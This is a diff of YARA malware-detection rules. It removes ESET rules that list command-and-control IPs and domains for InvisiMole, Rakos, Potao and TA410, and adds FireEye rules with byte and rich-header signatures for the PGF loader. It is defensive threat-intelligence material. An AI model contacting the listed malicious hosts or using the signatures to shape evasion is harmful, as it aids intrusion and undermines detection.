-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "aff8456ce7a9ebe875c02e51c09b77ee7b1fddfc11d4ad236e12c8c5240a01a8"
+		description = "base dlls: /lib/payload/techniques/dllmain/"
+		author = "FireEye"
+		id = "5253cb2a-28fd-57ab-be3d-f11cf2ea24cf"
+		date = "2020-11-25"
+		date = "2020-11-25"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_2.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "4326a7e863928ffbb5f6bdf63bb9126e"
+		logic_hash = "074f6d9ad78ecd4dd8e3d0b5c8b0f61a48374f3935b85c4222305b207b447ec7"
 		score = 75
-		quality = 78
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 2
 
 	strings:
-		$s1 = "46.165.220.228" ascii wide
-		$s2 = "80.255.3.66" ascii wide
-		$s3 = "85.17.26.174" ascii wide
-		$s4 = "185.193.38.55" ascii wide
-		$s5 = "194.187.249.157" ascii wide
-		$s6 = "195.154.255.211" ascii wide
-		$s7 = "153.re" ascii wide fullword
-		$s8 = "adstat.red" ascii wide
-		$s9 = "adtrax.net" ascii wide
-		$s10 = "akamai.sytes.net" ascii wide
-		$s11 = "amz-eu401.com" ascii wide
-		$s12 = "blabla234342.sytes.net" ascii wide
-		$s13 = "mx1.be" ascii wide fullword
-		$s14 = "statad.de" ascii wide
-		$s15 = "time.servehttp.com" ascii wide
-		$s16 = "upd.re" ascii wide fullword
-		$s17 = "update.xn--6frz82g" ascii wide
-		$s18 = "updatecloud.sytes.net" ascii wide
-		$s19 = "updchecking.sytes.net" ascii wide
-		$s20 = "wlsts.net" ascii wide
-		$s21 = "ro2.host" ascii wide fullword
-		$s22 = "2ld.xyz" ascii wide fullword
-		$s23 = "the-haba.com" ascii wide
-		$s24 = "82.202.172.134" ascii wide
-		$s25 = "update.xn--6frz82g" ascii wide
+		$sb1 = { B9 [4] FF 15 [4-32] 8B ?? 1C [0-16] 0F B? ?? 04 [0-64] F3 0F 6F 00 [0-64] 66 0F EF C8 [0-64] F3 0F 7F 08 [0-64] 30 ?? 48 8D 40 01 48 83 ?? 01 7? }
+		$sb2 = { 44 8B ?? 08 [0-32] 41 B8 00 30 00 00 [0-16] FF 15 [4-32] 48 8B C8 [0-16] E8 [4-64] 4D 8D 49 01 [0-32] C1 ?? 04 [0-64] 0F B? [2-16] 41 30 ?? FF 45 3? ?? 7? }
+		$sb3 = { 63 ?? 3C [0-16] 03 [1-32] 0F B? ?? 14 [0-16] 8D ?? 18 [0-16] 03 [1-16] 66 ?? 3B ?? 06 7? [1-64] 48 8D 15 [4-32] FF 15 [4-16] 85 C0 [2-32] 41 0F B? ?? 06 }
 
 	condition:
-		(( uint16(0)==0x5A4D) or ESET_Invisimole_Blob_PRIVATE) and $s21 and any of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
 }
-rule ESET_Linux_Rakos
+rule FIREEYE_RT_APT_Loader_Win64_PGF_3 : FILE
 {
 	meta:
-		description = "Linux/Rakos.A executable"
-		author = "Peter Kálnai"
-		id = "3c15401a-22c1-59e2-a979-1f9a6a990ae0"
-		date = "2016-12-13"
-		modified = "2016-12-19"
-		reference = "http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/rakos/rakos.yar#L33-L53"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "79a02ada56bf75c5f178b58822eb905977cace3483453ea8cf4dfc32f6b6c30d"
+		description = "PGF payload, generated rule based on symfunc/8a2f2236fdfaa3583ab89076025c6269. Identifies dllmain_hook x64 payloads."
+		author = "FireEye"
+		id = "340ea6d4-7111-520c-9bd4-0465a43ea235"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_3.yar#L4-L18"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "3bb34ebd93b8ab5799f4843e8cc829fa"
+		logic_hash = "fd82bdec54a76eed12cc8820ef39899f31ea6df21d905530a0d53770b3d9901b"
 		score = 75
-		quality = 80
-		tags = ""
-		version = "1"
-		contact = "threatintel@eset.com"
-		license = "BSD 2-Clause"
+		quality = 75
+		tags = "FILE"
+		rev = 4
 
 	strings:
-		$ = "upgrade/vars.yaml"
-		$ = "MUTTER"
-		$ = "/tmp/.javaxxx"
-		$ = "uckmydi"
+		$cond1 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 80 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 5A B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 E9 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AC 96 01 00 48 8D 45 AF 48 89 C1 E8 F0 FE 00 00 48 8B 05 25 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6B B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 AA B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 61 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 4F B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 20 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 0E C8 05 00 48 8B 05 69 8A 06 00 FF D0 48 8D 15 0A C8 05 00 48 89 C1 48 8B 05 5E 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 19 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 01 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 E0 F9 FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 87 F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 CB 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 37 FC 00 00 48 89 D8 48 89 C1 E8 4C AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9A 9C 01 00 48 89 D8 48 89 C1 E8 2F AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
+		$cond2 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 ?? ?? ?? ?? FF D0 48 89 C1 48 8D 85 ?? ?? ?? ?? 41 B8 04 01 00 00 48 89 C2 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 4D ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 89 C2 B9 08 00 00 00 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 38 04 00 00 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? 00 74 ?? 48 8D 85 ?? ?? ?? ?? 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 41 B8 00 00 00 00 48 89 C1 E8 ?? ?? ?? ?? 48 83 F8 FF 0F 95 C0 84 C0 74 ?? 48 8B 85 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? EB ?? 48 8B 45 ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 89 45 ?? 48 89 E8 48 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 C7 45 ?? 00 00 00 00 48 8B 55 ?? 48 8B 85 ?? ?? ?? ?? 48 39 C2 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 73 ?? 48 8B 45 ?? 48 8B 00 48 8B 55 ?? 48 81 C2 00 10 00 00 48 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 8B 4D ?? 48 8B 55 ?? 48 01 CA 48 39 D0 0F 83 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 8B 45 ?? 48 8B 00 48 8D 95 ?? ?? ?? ?? 41 B8 30 00 00 00 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 48 8B 45 ?? 48 8B 00 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 00 00 00 00 EB ?? 90 EB ?? 90 48 83 45 ?? 08 E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 48 63 D0 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 89 C2 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 01 00 00 00 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 FB 01 EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 C4 28 07 00 00 5B 5D C3 }
+		$cond3 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 C1 7C 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 33 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 B2 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 75 96 01 00 48 8D 45 AF 48 89 C1 E8 B9 FE 00 00 48 8B 05 66 7C 06 00 FF D0 89 C2 B9 08 00 00 00 E8 3C B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 83 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 2A F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 28 B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 69 7B 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 11 B9 05 00 48 8B 05 A2 7B 06 00 FF D0 48 8D 15 0D B9 05 00 48 89 C1 48 8B 05 97 7B 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 5A 7B 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 22 7B 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 59 FB FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 00 FB FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 94 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 00 FC 00 00 48 89 D8 48 89 C1 E8 45 AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 63 9C 01 00 48 89 D8 48 89 C1 E8 28 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
+		$cond4 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 D3 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 65 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 EC FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AF 96 01 00 48 8D 45 AF 48 89 C1 E8 F3 FE 00 00 48 8B 05 78 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6E B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 B5 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 64 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 5A B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 73 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 45 C8 05 00 48 8B 05 B4 8A 06 00 FF D0 48 8D 15 41 C8 05 00 48 89 C1 48 8B 05 A9 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 6C 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 54 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 33 FA FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 DA F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 CE 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 3A FC 00 00 48 89 D8 48 89 C1 E8 4F AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9D 9C 01 00 48 89 D8 48 89 C1 E8 32 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and any of them
 }
-rule ESET_Potao
+rule FIREEYE_RT_APT_Loader_Win_PGF_2 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "9c755cb8-9e3f-5118-a8e0-4ded9a075cbd"
-		date = "2015-07-29"
-		modified = "2015-07-30"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/potao/PotaoNew.yara#L96-L108"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "c68addb14f7c22cec0c4d58bfffd373b2e3eb5c53a5b65532c84574e073fcbba"
+		description = "PE rich header matches PGF backdoor"
+		author = "FireEye"
+		id = "595c9e2a-3d9d-5366-9449-de1bcf333f78"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win_PGF_2.yar#L4-L21"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "226b1ac427eb5a4dc2a00cc72c163214"
+		logic_hash = "b8c024c6b4c3ce9915700b62da8a1f12440215b46f3a56078707f5257e575811"
 		score = 75
-		quality = 80
-		tags = ""
-		Author = "Anton Cherepanov"
-		Description = "Operation Potao"
-		Contact = "threatintel@eset.com"
-		License = "BSD 2-Clause"
+		quality = 75
+		tags = "FILE"
+		md5_2 = "2398ed2d5b830d226af26dedaf30f64a"
+		md5_3 = "24a7c99da9eef1c58f09cf09b9744d7b"
+		md5_4 = "aeb0e1d0e71ce2a08db9b1e5fb98e0aa"
+		rev = 4
+
+	strings:
+		$rich1 = { A8 B7 17 3A EC D6 79 69 EC D6 79 69 EC D6 79 69 2F D9 24 69 E8 D6 79 69 E5 AE EC 69 EA D6 79 69 EC D6 78 69 A8 D6 79 69 E5 AE EA 69 EF D6 79 69 E5 AE FA 69 D0 D6 79 69 E5 AE EB 69 ED D6 79 69 E5 AE FD 69 E2 D6 79 69 CB 10 07 69 ED D6 79 69 E5 AE E8 69 ED D6 79 69 }
+		$rich2 = { C1 CF 75 A4 85 AE 1B F7 85 AE 1B F7 85 AE 1B F7 8C D6 88 F7 83 AE 1B F7 0D C9 1A F6 87 AE 1B F7 0D C9 1E F6 8F AE 1B F7 0D C9 1F F6 8F AE 1B F7 0D C9 18 F6 84 AE 1B F7 DE C6 1A F6 86 AE 1B F7 85 AE 1A F7 BF AE 1B F7 84 C3 12 F6 81 AE 1B F7 84 C3 E4 F7 84 AE 1B F7 84 C3 19 F6 84 AE 1B F7 }
+		$rich3 = { D6 60 82 B8 92 01 EC EB 92 01 EC EB 92 01 EC EB 9B 79 7F EB 94 01 EC EB 1A 66 ED EA 90 01 EC EB 1A 66 E9 EA 98 01 EC EB 1A 66 E8 EA 9A 01 EC EB 1A 66 EF EA 90 01 EC EB C9 69 ED EA 91 01 EC EB 92 01 ED EB AF 01 EC EB 93 6C E5 EA 96 01 EC EB 93 6C 13 EB 93 01 EC EB 93 6C EE EA 93 01 EC EB }
+		$rich4 = { 41 36 64 33 05 57 0A 60 05 57 0A 60 05 57 0A 60 73 CA 71 60 01 57 0A 60 0C 2F 9F 60 04 57 0A 60 0C 2F 89 60 3D 57 0A 60 0C 2F 8E 60 0A 57 0A 60 05 57 0B 60 4A 57 0A 60 0C 2F 99 60 06 57 0A 60 73 CA 67 60 04 57 0A 60 0C 2F 98 60 04 57 0A 60 0C 2F 80 60 04 57 0A 60 22 91 74 60 04 57 0A 60 0C 2F 9B 60 04 57 0A 60 }
 
 	condition:
-		ESET_Potaodecoy_PRIVATE or ESET_Potaodll_PRIVATE or ESET_Potaousb_PRIVATE or ESET_Potaosecondstage_PRIVATE
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and filesize <15MB and (($rich1 at 128) or ($rich2 at 128) or ($rich3 at 128) or ($rich4 at 128))
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Tendyron_Dropper
+rule FIREEYE_RT_APT_Loader_Win32_PGF_1 : FILE
 {
 	meta:
-		description = "TA410 Tendyron Dropper"
-		author = "ESET Research"
-		id = "8d1e16d9-b5c2-5427-a0b4-7dd00a9df5ec"
-		date = "2020-12-09"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L34-L53"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "45f7300a4b85624ad3fda5c73a24f53f53cb7990def4d84e04dcd8e5747f4f2e"
+		description = "base dlls: /lib/payload/techniques/unmanaged_exports/"
+		author = "FireEye"
+		id = "1af4f2ce-c540-5836-a749-43a0b08609b1"
+		date = "2020-11-25"
+		date = "2020-11-25"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_1.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "383161e4deaf7eb2ebeda2c5e9c3204c"
+		logic_hash = "d3fb0bd7b678b19ee2e0e846f4e13e4ce7e2629ecda123f34ef52f2af42d2a8e"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$s1 = "Global\\{F473B3BE-08EE-4710-A727-9E248F804F4A}" wide
-		$s2 = "Global\\8D32CCB321B2" wide
-		$s3 = "Global\\E4FE94F75490" wide
-		$s4 = "Program Files (x86)\\Internet Explorer\\iexplore.exe" wide
-		$s5 = "\\RPC Control\\OLE" wide
-		$s6 = "ALPC Port" wide
+		$sb1 = { 6A ?? FF 15 [4-32] 8A ?? 04 [0-32] 8B ?? 89 ?? 8B [2] 89 [2] 8B [2] 89 ?? 08 8B [2] 89 [2] 8B [2] 89 [2-64] 8B [5] 83 ?? 01 89 [5] 83 [5-32] 0F B6 [1-2] 0F B6 [1-2] 33 [1-16] 88 ?? EB }
+		$sb2 = { 6A 40 [0-32] 68 00 30 00 00 [0-32] 6A 00 [0-16] FF 15 [4-32] 89 45 [4-64] E8 [4-32] 83 ?? 01 [4-80] 0F B6 [1-64] 33 [1-32] 88 [2-64] FF ( D? | 55 ) }
+		$sb3 = { 8B ?? 08 03 ?? 3C [2-32] 0F B? ?? 14 [0-32] 8D [2] 18 [2-64] 0F B? ?? 06 [3-64] 6B ?? 28 }
 
 	condition:
-		int16 (0)==0x5A4D and 4 of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Tendyron_Installer
+rule FIREEYE_RT_APT_Loader_Win32_PGF_3 : FILE
 {
 	meta:
-		description = "TA410 Tendyron Installer"
-		author = "ESET Research"
-		id = "95ccad1c-99fb-5d38-aec0-650db3e06b35"
